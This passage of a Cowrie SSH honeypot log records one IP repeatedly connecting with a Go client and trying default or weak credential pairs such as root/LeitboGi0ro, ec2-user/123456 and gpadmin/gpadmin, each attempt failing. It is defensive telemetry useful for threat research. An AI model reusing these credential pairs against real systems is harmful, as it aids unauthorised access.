0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:22.866482Z","src_ip":"192.109.200.78","session":"e1a55d37b00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:23.125038Z","src_ip":"192.109.200.78","session":"e1a55d37b00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:24.217828Z","src_ip":"192.109.200.78","session":"e1a55d37b00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41254,"dst_ip":"10.17.0.5","dst_port":22,"session":"d28d513766be","protocol":"ssh","message":"New connection: 192.109.200.78:41254 (10.17.0.5:22) [session: d28d513766be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:26.112143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:26.116986Z","src_ip":"192.109.200.78","session":"d28d513766be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:26.202952Z","src_ip":"192.109.200.78","session":"d28d513766be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:26.453144Z","src_ip":"192.109.200.78","session":"d28d513766be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:27.537971Z","src_ip":"192.109.200.78","session":"d28d513766be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41268,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b773d138da1","protocol":"ssh","message":"New connection: 192.109.200.78:41268 (10.17.0.5:22) [session: 6b773d138da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:29.329454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:29.365861Z","src_ip":"192.109.200.78","session":"6b773d138da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:29.543270Z","src_ip":"192.109.200.78","session":"6b773d138da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:29.810926Z","src_ip":"192.109.200.78","session":"6b773d138da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:30.897642Z","src_ip":"192.109.200.78","session":"6b773d138da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"f80319addca9","protocol":"ssh","message":"New connection: 192.109.200.78:54326 (10.17.0.5:22) [session: f80319addca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:32.848794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:32.853216Z","src_ip":"192.109.200.78","session":"f80319addca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:32.938424Z","src_ip":"192.109.200.78","session":"f80319addca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:33.183262Z","src_ip":"192.109.200.78","session":"f80319addca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:34.268266Z","src_ip":"192.109.200.78","session":"f80319addca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3cbc29910a","protocol":"ssh","message":"New connection: 192.109.200.78:54342 (10.17.0.5:22) [session: ee3cbc29910a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:36.277521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:36.281568Z","src_ip":"192.109.200.78","session":"ee3cbc29910a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:36.362653Z","src_ip":"192.109.200.78","session":"ee3cbc29910a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:36.605883Z","src_ip":"192.109.200.78","session":"ee3cbc29910a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:37.690122Z","src_ip":"192.109.200.78","session":"ee3cbc29910a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54360,"dst_ip":"10.17.0.5","dst_port":22,"session":"c685391b81e1","protocol":"ssh","message":"New connection: 192.109.200.78:54360 (10.17.0.5:22) [session: c685391b81e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:39.907329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:39.914697Z","src_ip":"192.109.200.78","session":"c685391b81e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:39.995842Z","src_ip":"192.109.200.78","session":"c685391b81e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:40.239928Z","src_ip":"192.109.200.78","session":"c685391b81e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:41.338655Z","src_ip":"192.109.200.78","session":"c685391b81e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52340,"dst_ip":"10.17.0.5","dst_port":22,"session":"2702f28cf031","protocol":"ssh","message":"New connection: 192.109.200.78:52340 (10.17.0.5:22) [session: 2702f28cf031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:43.171826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:43.176103Z","src_ip":"192.109.200.78","session":"2702f28cf031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:43.257033Z","src_ip":"192.109.200.78","session":"2702f28cf031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:43.501386Z","src_ip":"192.109.200.78","session":"2702f28cf031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:44.590240Z","src_ip":"192.109.200.78","session":"2702f28cf031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52360,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbae8e3f7b9","protocol":"ssh","message":"New connection: 192.109.200.78:52360 (10.17.0.5:22) [session: ecbae8e3f7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:46.558058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:46.567192Z","src_ip":"192.109.200.78","session":"ecbae8e3f7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:46.651227Z","src_ip":"192.109.200.78","session":"ecbae8e3f7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:47.135013Z","src_ip":"192.109.200.78","session":"ecbae8e3f7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:48.219004Z","src_ip":"192.109.200.78","session":"ecbae8e3f7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc144363c23","protocol":"ssh","message":"New connection: 192.109.200.78:52382 (10.17.0.5:22) [session: 0fc144363c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:50.124486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:50.129349Z","src_ip":"192.109.200.78","session":"0fc144363c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:50.211305Z","src_ip":"192.109.200.78","session":"0fc144363c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:50.460983Z","src_ip":"192.109.200.78","session":"0fc144363c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:51.543918Z","src_ip":"192.109.200.78","session":"0fc144363c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45018,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e73fb937787","protocol":"ssh","message":"New connection: 192.109.200.78:45018 (10.17.0.5:22) [session: 7e73fb937787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:53.524446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:53.529637Z","src_ip":"192.109.200.78","session":"7e73fb937787","protocol":"ssh"}
